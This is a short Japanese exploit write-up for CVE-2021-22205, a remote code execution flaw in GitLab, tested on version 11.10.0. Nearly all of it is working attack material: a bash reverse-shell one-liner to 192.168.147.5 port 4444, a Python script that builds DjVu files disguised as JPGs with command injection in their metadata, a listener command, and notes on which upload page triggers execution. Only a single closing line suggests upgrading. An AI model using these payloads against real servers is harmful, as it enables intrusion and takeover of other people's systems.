CVE-2021-22205-getshell

CVE-2021-22205-getshell

テストバージョン

エクスプロイトコマンドの生成

echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh

djvumakeを使用してエクスプロイト画像を生成

import os
payloads=[
    "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
    "chmod +x /tmp/1.sh",
    "/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
    rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
    with open("rce-{0}.txt".format(index), "wb") as text_file:
        text_file.write(rce_payload)
    text_file.close()
    os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
    index=index+1

ローカルで4444ポートをリッスンし、リバースシェルを待機

nv -lv 192.168.147.5 4444

画像をGitLabにアップロード

• ここはオンラインのエクスプロイトと異なる点です。多くの脆弱性エクスプロイトで使用されるGitLabは高バージョン（12または13）であり、アップロードポイントは新規スニペット作成箇所で、パスは /uploads/user です。
• 私が検証したバージョンは11.10.0で、公開アップロードパス/uploads/userを使用すると404エラー、スニペットのアップロードパス/uploads/personal_snippetを使用するとコマンド実行ができませんでした。
• 最終的に新しいIssue作成ページから画像をアップロードし、コマンド実行に成功しました。

リバースシェル取得成功、ターゲットマシンの権限を取得

3つの画像をアップロード後、3番目の画像がリバースシェルコマンドを実行し、ターゲットマシンの権限を取得できました。

修正の提案

できるだけ早くGitLabを最新のセキュリティバージョンにアップグレードしてください。